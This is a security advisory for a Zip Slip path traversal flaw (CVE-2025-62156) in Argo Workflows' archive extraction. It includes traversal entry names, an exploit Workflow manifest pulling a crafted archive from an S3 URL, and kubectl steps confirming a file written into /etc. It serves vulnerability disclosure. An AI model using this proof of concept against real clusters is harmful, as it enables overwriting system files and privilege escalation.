Vulnerability Description

Vulnerability Overview

1. During the artifact extraction process, the unpack() function extracts the compressed file to a temporary directory (/etc.tmpdir) and then attempts to move its contents to /etc using the rename() system call,
2. However, since /etc is an already existing system directory, the rename() system call fails, making normal archive extraction impossible.
3. At this point, if a malicious user sets the entry name inside the tar.gz file to a path traversal like ../../../../../etc/zipslip-poc,
4. The untar() function combines paths using filepath.Join(dest, filepath.Clean(header.Name)) without path validation, resulting in target = "/work/input/../../../../../etc/zipslip-poc",
5. Ultimately, the /etc/zipslip-poc file is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories.

untar(): Writing Files Outside the Extraction Directory

https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993

1. Base Path: /work/tmp (dest) — The intended extraction directory in the wait container
2. Malicious Entry: ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt (header.Name) — Path traversal payload
3. Path Cleaning: filepath.Clean("../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Go’s path cleaning normalizes the traversal
4. Path Joining: filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Absolute path overrides base directory
5. File Creation: /mainctrfs/etc/zipslip-ok.txt file is created in the wait container
6. Volume Mirroring: The file appears as /etc/zipslip-ok.txt in the main container due to volume mount mirroring

PoC

PoC Description

1. The user uploaded a malicious tar.gz file to S3 that contains path traversal entries like ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt designed to exploit the vulnerability.
2. In the Argo Workflows YAML, the artifact’s path is set to /work/tmp, which should normally extract the archive to that intended directory.
3. However, due to the vulnerability in the untar() function, filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") resolves to /mainctrfs/etc/zipslip-ok.txt, causing files to be created in unintended locations.
4. Since the wait container’s /mainctrfs/etc and the main container’s /etc share the same volume, files created in the wait container become visible in the main container’s /etc/ directory.
5. Consequently, the archive that should extract to /work/tmp exploits the Zip Slip vulnerability to create files in the /etc/ directory, enabling manipulation of system configuration files.

exploit yaml

apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: zipslip-
spec:
  entrypoint: main
  templates:
  - name: main
    container:
      image: ubuntu:22.04
      command: ["sh"]
      args: ["-c", "echo 'Starting container'; sleep 3000"]
      volumeMounts:
      - name: etcvol
        mountPath: /etc
    inputs:
      artifacts:
      - name: evil
        path: /work/tmp  
        archive:
          tar: {}
        http:
          url: "https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz"
    volumes:
    - name: etcvol
      emptyDir: {}

exploit

1. Create Zipslip

2. Upload S3

3. Create Workflow

4. Run

5. Exploit Success

# Find Workflow and Pod
NS=default
WF=$(kubectl get wf -n "$NS" --sort-by=.metadata.creationTimestamp --no-headers | awk 'END{print $1}')
POD=$(kubectl get pod -n "$NS" -l workflows.argoproj.io/workflow="$WF" --no-headers | awk 'END{print $1}')
echo "NS=$NS WF=$WF POD=$POD"

# Connect Main Container
kubectl exec -it -n "$NS" "$POD" -c main -- bash

# Exploit
cd /etc/
ls -l
cat zipslip-ok.txt

Impact

Container Isolation Bypass

The Zip Slip vulnerability allows attackers to write files to system directories like /etc/ within the container, potentially overwriting critical configuration files such as /etc/passwd, /etc/hosts, or /etc/crontab, which could lead to privilege escalation or persistent access within the compromised container.

References

• GHSA-p84v-gxvw-73pf
• https://nvd.nist.gov/vuln/detail/CVE-2025-62156
• argoproj/argo-workflows@5659ad9
• argoproj/argo-workflows@9f6bc5d
• https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993